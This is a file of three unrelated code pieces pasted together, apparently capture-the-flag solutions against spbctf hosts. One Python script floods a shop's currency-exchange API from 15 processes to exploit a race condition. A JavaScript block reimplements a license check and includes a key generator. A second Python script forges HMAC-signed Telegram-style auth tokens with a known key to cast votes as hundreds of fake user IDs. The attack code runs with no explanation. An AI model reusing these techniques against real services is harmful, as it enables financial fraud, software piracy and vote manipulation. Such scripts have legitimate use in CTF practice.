import requests as req
from multiprocessing import Process

url = "https://its-grand-supermarket-f0e1aqq7.spbctf.ru/api/exchange"
cookie = {"__cfduid":"d751382105124a1e58fff8cbd6071320", "session": "fd525692-47fa-4fb1-aca2-c6401f7ad51a"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
          "Origin": "https://its-grand-supermarket-f0e1aqq7.spbctf.ru",
           "Referer": "https://its-grand-supermarket-f0e1aqq7.spbctf.ru/account",
           "Upgrade-Insecure-Requests": "1",
          "Sec-Fetch-Dest": "document",
           "Sec-Fetch-Mode": "navigate",
           "Sec-Fetch-Site": "same-origin",
           "Sec-Fetch-User": "?1",
           "Te": "trailers"
}
first_data = {"amount": 1,"cur_from":"Гастрофранк", "cur_to": "Беконик",
              "submit": "%D0%9E%D0%B1%D0%BC%D0%B5%D0%BD%D1%8F%D1%82%D1%8C"}
second_data = {"amount":428, "cur_from":"Беконик", "cur_to":"Гастрофранк",
               "submit":"%D0%9E%D0%B1%D0%BC%D0%B5%D0%BD%D1%8F%D1%82%D1%8C"}

def givme_money():
    for _ in range(2000):
        req.post(url, headers=headers, cookies=cookie, data=first_data)
        req.post(url, headers=headers, cookies=cookie, data=second_data)
        print("Попытка: ", _)


for _ in range(15):
    p = Process(target=givme_money)
    p.start()

window.onload = function() {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const msg = urlParams.get('msg');
    if (msg) {
        document.getElementById("message").innerText = msg;
    }
}

function checkLicense() {
    const license = document.getElementById("license").value;
    if (isLicenseValid(license)) {
        const form = document.createElement("form");
        document.body.appendChild(form);
        form.action = "/validate";
        form.method = "POST";
        const input = document.createElement("input");
        input.type = "hidden";
        input.name = "license";
        input.value = license;
        form.appendChild(input);
        form.submit();
    } else {
        document.getElementById("message").innerText = "Invalid license key!";
    }
}

function isLicenseValid(license) {
    if (!isKeyFormatValid(license)) {
        return false;
    }
    const [, serial, checksum] = license.replace(/-/g, "").match(/(.{16})(.{4})/);
    if (!isSerialChecksumValid(serial, checksum)) {
        return false;
    }
    const seed = serial.substring(0, 8);
    if (!isSeedFormatValid(seed)) {
        return false;
    }
    const subkey = getSubkeyFromSeed(seed, 36, 1, 137);
    return serial.substring(8, 10) === subkey;
}

function isKeyFormatValid(key) {
    return key.length === 24 && key.replace(/-/g, "").length === 20;
}

function isSerialChecksumValid(serial, checksum) {
    return getChecksumForSerial(serial) === checksum;
}

function isSeedFormatValid(seed) {
    return seed.match(/[A-F0-9]{8}/) !== null;
}

function getChecksumForSerial(serial) {
    let sum1 = 175;
    let sum2 = 86;
    for (let i = 0; i < serial.length; i++) {
        sum1 += serial.charCodeAt(i);
        if (sum1 > 255) {
            sum1 -= 255;
        }
        sum2 += sum1;
        if (sum2 > 255) {
            sum2 -= 255;
        }
    }
    return toFixedHex((sum2 << 8) + sum1, 4);
}

function toFixedHex(value, length) {
    return value.toString(16).toUpperCase().padStart(length, "0").substring(0, length);
}

function getSubkeyFromSeed(seed, shift, mod, xor) {
    if (typeof seed === "string") {
        seed = parseInt(seed, 16);
    }
    mod %= 3;
    let result;
    if (shift % 25 % 2 === 0) {
        result = (seed >> shift & 255) ^ (255 & (seed >> mod | xor));
    } else {
        result = (seed >> shift & 255) ^ (seed >> mod & xor & 255);
    }
    return toFixedHex(result, 2);
}

function generateLicenseKey() {
    let seed = Math.floor(Math.random() * Math.pow(16, 8)).toString(16).toUpperCase().padStart(8, "0");

    let randomSerial = Math.floor(Math.random() * Math.pow(16, 6)).toString(16).toUpperCase().padStart(6, "0");

    let subkey = getSubkeyFromSeed(seed, 36, 1, 137);

    let serial = seed + subkey + randomSerial;

    let checksum = getChecksumForSerial(serial);

    let licenseKey = serial + checksum;

    licenseKey = licenseKey.replace(/(.{4})/g, "\$1-").slice(0, -1);

    return licenseKey;
}

import hashlib
import hmac
import json
from base64 import b64encode
import requests
import time
import urllib3
urllib3.disable_warnings()

def calc_hmac(key, parsed_data) -> str:
    sorted_keys = sorted(parsed_data.keys())
    data_check_string = '\n'.join([f'{key}={parsed_data.get(key)}' for key in sorted_keys])
    # auth_date=1713654433\nquery_id=AAEAIsIOAAAAAAAiwg5KOFLV\nuser={YOUR_DATA_PLS}
    data_check_string = data_check_string.replace(" ", "").replace("True", "true").replace("'", '"')
    #print(data_check_string.encode("utf8"))
    hmac_msg = hmac.new(key, data_check_string.encode("utf8"), hashlib.sha256)
    
    return hmac_msg.digest().hex()

def calc_query_string(parsed_data):
    query_string=f'query_id={parsed_data["query_id"]}&user={user}&auth_date={parsed_data["auth_date"]}&hash={hmac_hash}'.replace('"',"%22").replace('{', '%7B').replace(',', '%2C').replace(':', '%3A').replace('}', '%7D')
    query_string=f'"{query_string}"'
    query_string=b64encode(query_string.encode("utf8"))
    #print(query_string.decode("utf8"))

    return query_string.decode("utf8")

if __name__ == "__main__":
    parsed_data = {
        "query_id": "AAEAIsIOAAAAAAAiwg5KOFLV",
        "user": {
            YOUR_DATA
        },
        "auth_date": "1713654433",
    }
    key = bytes.fromhex("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83")

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "application/json",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/json",
        "Te": "trailers",
        "Authorization": "",
        "Sec-Fetch-Dest": "empty",
        "Sec-Fetch-Mode": "cors",
        "Sec-Fetch-Site": "same-origin"
    }
    post_data = {"contestant_id":2937}
    #print(post_data)

    for i in range(70, 2000):
        parsed_data["user"]["id"] = i
        hmac_hash = calc_hmac(key, parsed_data)
        user = json.dumps(parsed_data["user"]).replace(" ", "")
        query_string = calc_query_string(parsed_data)
        headers["Authorization"] = f"Bearer {query_string}"
        #print(headers)
        #print()
        resp = requests.post("https://t-pageant-ekbooq0e.spbctf.net/api/vote", json=post_data, cookies={"__cfduid":"CFDUID"}, verify=False, headers=headers)
        time.sleep(0.05)
    print("Success!")